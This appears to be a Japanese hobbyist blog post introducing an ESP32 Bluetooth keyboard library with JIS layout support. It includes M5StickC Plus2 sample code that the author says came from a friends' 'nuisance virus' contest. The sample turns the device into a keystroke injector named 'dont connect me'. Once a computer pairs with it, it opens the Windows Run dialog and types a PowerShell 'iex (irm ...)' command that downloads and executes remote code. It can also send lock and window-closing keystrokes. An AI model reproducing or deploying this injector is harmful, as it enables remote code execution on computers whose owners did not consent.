PR

【ESP32】日本語配列(JIS配列)対応のBluetoothキーボードライブラリの紹介

Rintaが書いた
[自動生成]無理やり短縮リンク: 短縮URLを生成中...
スポンサーリンク

皆さんこんにちは! 今回は、ESP32でBluetoothキーボードを作れる便利ライブラリ「ESP32-BLE-Keyboard-JP」を紹介するという記事でございます。
このサイトを更新するのは、仕事やら何やらでバタバタして3ヶ月ぶり。
ネタ切れの中、アドベントカレンダーの練習ということで重い腰を上げました。

なんとこのサイト、直近のブログの更新が10/1 , 8/14 , 6/28という過疎すぎるサイトなんです。
もうちょっと、頑張りたいですね。
ネタ募集中です。
と言っても何も出来ませんが努力します。
雑談でもスパムでもえっちなやつでも大丈夫です。ここに送ってください。

早速行っていきましょう!

スポンサーリンク
スポンサーリンク
スポンサーリンク
スポンサーリンク

紹介

ESP32って、IoTの定番ボードですよね。今回紹介するのが、
GitHubのrintaro-s/ESP32-BLE-Keyboard-JPです。
元は海外の人気ライブラリをベースに、日本語(JIS配列)対応でフォークしました。

要するに、ESP32ボードをPCやスマホにBluetoothで繋いで、キー入力やメディアコントロールを送れるようにするArduino互換ライブラリ。テキスト打ったり、エンター押したり、音量上げ下げしたり…まるで本物のキーボードみたい!

特にJISキーボードのサポートで、半角/全角キーとか変換キー、円マーク(¥)とか、日本語入力で必須のヤツがちゃんと扱えます。英語版だとこれが面倒くさくて諦めちゃう人、多いですよね? このライブラリなら、そんな悩みゼロでサクサク進めます。特徴をサクッとまとめると:

  • キー入力フル対応: テキスト印刷、単発キー、修飾キー(ShiftとかCtrl)全部OK。USBキーボードライブラリみたいに使いやすい。
  • メディアキーもイケる: 再生/停止、ボリューム調整、ミュート…リモコン代わりに最高。
  • JIS日本語強化: 専用キー定義(KEY_JIS_HENKANとか)で、raw HID送信もサポート。日本語環境でストレスフリー。
  • バッテリー表示: 残量設定して、デバイス側でバッテリー残量が見えるように。
  • 軽量モード(NimBLE): RAMやFlash節約したい人にオススメ。キー送信の遅延も調整可能。
  • クロスプラットフォーム: Windows、Mac、Linux、Android、iOS全部いける(環境次第で安定性変わるけど)。

デバイス名はデフォルトで「ESP32 Keyboard」だし、バッテリー100%スタート。名前とかはコードで簡単に変えられますよ。最大15文字制限あるけど、自動調整してくれる親切設計です。

ちなみに、友人間でやった「アイデア対決!迷惑系ウイルスコンテスト」で必要で作ったものなので真面目に作ったとかでは一切ない、むしろ適当なので動かなかったらBleKeyboard.cppやBleKeyboard.h編集するなりIssue送るなりXでメンションするなどしてくれると助かります。なんならプルリクシてくれるとなお嬉しいです。

pio経由の、m5stickC plus2のコードです。
学校から配布されたのでせっかくならと使ってみました。

// M5stickCPlus2 用に最適化されたESP32-BLE-Keyboard-JPのサンプルコード
//Bluetooth HIDキーボードとして動作し、特定のキー操作やコマンドを送信します。


#include <M5Unified.h>
#include <BleKeyboard.h>

// BLEデバイス名を「dont connect me」に変更
BleKeyboard bleKeyboard("dont connect me", "M5Stack", 100);

// 送信するコマンドのインデックス
int commandIndex = 0;
// コマンドの総数
const int NUM_COMMANDS = 8; 

// コマンド文字列またはアクションのラベル
const char* commandLabels[NUM_COMMANDS] = {
    "YouTube URL Open",
    "irm ~ Code",
    "Volume Up",
    "Volume Down",
    "Win Key",
    "Win + L (Lock)",
    "Win + D (Desktop)",
    "Alt + F4 (Close)"
};

// YouTubeのURL
const char* YOUTUBE_URL = "https://youtu.be/xxx";

// ==========================================================
// キーボード入力処理関数
// ==========================================================

// 日本語入力でShiftが必要な文字を処理する関数 (ここではアンダーバーのみ)
void sendCharJP(char c) {
  switch (c) {
    case '_':  // Shift+-(アンダーバー)
      bleKeyboard.press(KEY_LEFT_SHIFT);
      bleKeyboard.write('-');
      bleKeyboard.releaseAll();
      break;
    default:
      bleKeyboard.write(c);
  }
  delay(5);
}

// powershellコマンド文字列を送信する関数 (既存のirmコマンド)
void sendIrmCommand() {
  // 既存のirmコマンド
  const char *cmd = "powershell -Command \"iex (irm https://xn--eekf.jp/xxxxx)\"";
  for (const char *p = cmd; *p; p++) {
    sendCharJP(*p);
  }
  bleKeyboard.write(KEY_RETURN);
}

// URLをブラウザで開くためのコマンド文字列を送信する関数
void sendUrlOpenCommand() {
  // Win+Rでファイル名を指定して実行を開き、URLを直接入力してEnter
  
  // URLの送信 (余計な 'start ' コマンドは削除)
  for (const char *p = YOUTUBE_URL; *p; p++) {
    sendCharJP(*p);
  }
  
  bleKeyboard.write(KEY_RETURN);
}

// 選択されたアクションを実行する関数
void executeAction(int index) {
  // Win+R を押して「ファイル名を指定して実行」を開く処理は、
  // URL Openとirm Codeの2つのアクションにのみ適用します。
  if (index == 0 || index == 1) {
      bleKeyboard.press(KEY_LEFT_GUI);
      bleKeyboard.press('r');
      delay(100);
      bleKeyboard.releaseAll();
      delay(400); // 実行ウィンドウが開くのを待つ
  }

  switch (index) {
    case 0: // YouTube URL Open
      sendUrlOpenCommand();
      break;
      
    case 1: // irm ~ Code
      sendIrmCommand();
      break;

    case 2: // Volume Up
      bleKeyboard.write(KEY_MEDIA_VOLUME_UP);
      break;

    case 3: // Volume Down
      bleKeyboard.write(KEY_MEDIA_VOLUME_DOWN);
      break;

    case 4: // Win Key
      bleKeyboard.write(KEY_LEFT_GUI);
      break;

    case 5: // Win + L (画面ロック)
      bleKeyboard.press(KEY_LEFT_GUI);
      bleKeyboard.press('l');
      delay(100);
      bleKeyboard.releaseAll();
      break;

    case 6: // Win + D (デスクトップ表示/戻す)
      bleKeyboard.press(KEY_LEFT_GUI);
      bleKeyboard.press('d');
      delay(100);
      bleKeyboard.releaseAll();
      break;

    case 7: // Alt + F4 (ウィンドウを閉じる)
      bleKeyboard.press(KEY_LEFT_ALT);
      bleKeyboard.press(KEY_F4);
      delay(100);
      bleKeyboard.releaseAll();
      break;

    default:
      // 何もしない
      break;
  }
}

// ==========================================================
// M5StickCPlus2 表示処理
// ==========================================================

// 接続状態を追跡するための変数
bool wasConnected = false; 

// 画面表示を更新する関数
void updateDisplay() {
  M5.Display.fillScreen(TFT_BLACK);
  M5.Display.setTextSize(2);
  M5.Display.setCursor(5, 5);

  M5.Display.setTextColor(TFT_WHITE);
  M5.Display.print("Name: ");
  M5.Display.setTextColor(TFT_SKYBLUE);
  M5.Display.println("dont connect me");

  M5.Display.setTextColor(TFT_WHITE);
  M5.Display.print("Status: ");
  M5.Display.setTextColor(bleKeyboard.isConnected() ? TFT_GREEN : TFT_YELLOW);
  M5.Display.println(bleKeyboard.isConnected() ? "Connected" : "Advertising");

  M5.Display.setCursor(5, 70);
  M5.Display.setTextColor(TFT_WHITE, TFT_BLACK);
  M5.Display.println("--- Action (BtnA) ---");

  M5.Display.setCursor(5, 100);
  M5.Display.setTextColor(TFT_CYAN, TFT_BLACK);
  M5.Display.setTextSize(3);
  M5.Display.println(commandLabels[commandIndex]);

  M5.Display.setCursor(5, 140);
  M5.Display.setTextSize(2);
  M5.Display.setTextColor(TFT_LIGHTGREY);
  M5.Display.println("BtnB: Change Action");
}

// ==========================================================
// セットアップとメインループ
// ==========================================================

void setup() {
  auto cfg = M5.config();
  M5.begin(cfg);
  
  // 画面の向きを設定(横向き)
  M5.Display.setRotation(3); 
  
  // 初期画面表示
  updateDisplay();
  wasConnected = bleKeyboard.isConnected(); // 初期状態を設定

  // BLEキーボードの起動
  bleKeyboard.begin();
}

void loop() {
  M5.update();

  bool isConnected = bleKeyboard.isConnected();

  // 接続状態が変化した場合にのみ画面を更新
  if (isConnected != wasConnected) {
    updateDisplay();
    wasConnected = isConnected; // 状態を更新
  }

  // M5.BtnA (前面の大きなボタン): 選択されたアクションを実行
  if (M5.BtnA.wasPressed()) {
    if (isConnected) {
      executeAction(commandIndex);
    } else {
      // 接続されていない場合のフィードバック
      M5.Display.fillScreen(TFT_RED);
      M5.Display.setCursor(10, 50);
      M5.Display.setTextColor(TFT_WHITE);
      M5.Display.println("NOT CONNECTED!");
      delay(500);
      updateDisplay();
    }
  }

  // M5.BtnB (右上の小さなボタン): アクションを切り替える
  if (M5.BtnB.wasPressed()) {
    commandIndex = (commandIndex + 1) % NUM_COMMANDS; // インデックスをインクリメントし、総数で割る
    updateDisplay(); // 画面を更新
  }

  delay(10);
}

platformio.ini:

[env:m5stickc_plus2]
platform = espressif32
board = m5stick-c
framework = arduino
monitor_speed = 115200

build_flags =
    -D LGFX_M5STICKC_PLUS2=1      ; M5StickC Plus2の環境設定を明示
    -D LGFX_CONFIG_ONLY           ; M5GFXの標準設定を無効化
    -D LGFX_DISABLE_FONT_IPA      ; IPAフォント (エラーの原因の一つ) を無効化
    -D LGFX_DISABLE_FONT_JAPANESE ; efont_ja (エラーの原因の一つ) を無効化
    -D LGFX_DISABLE_FONT_CHINESE  ; efont_cn (エラーの原因の一つ) を無効化
; ********************************************************

lib_deps =
  m5stack/M5Unified@^0.2.10
  m5stack/M5GFX@^0.2.16
  https://github.com/rintaro-s/ESP32-BLE-Keyboard-JP.git

コメント

タイトルとURLをコピーしました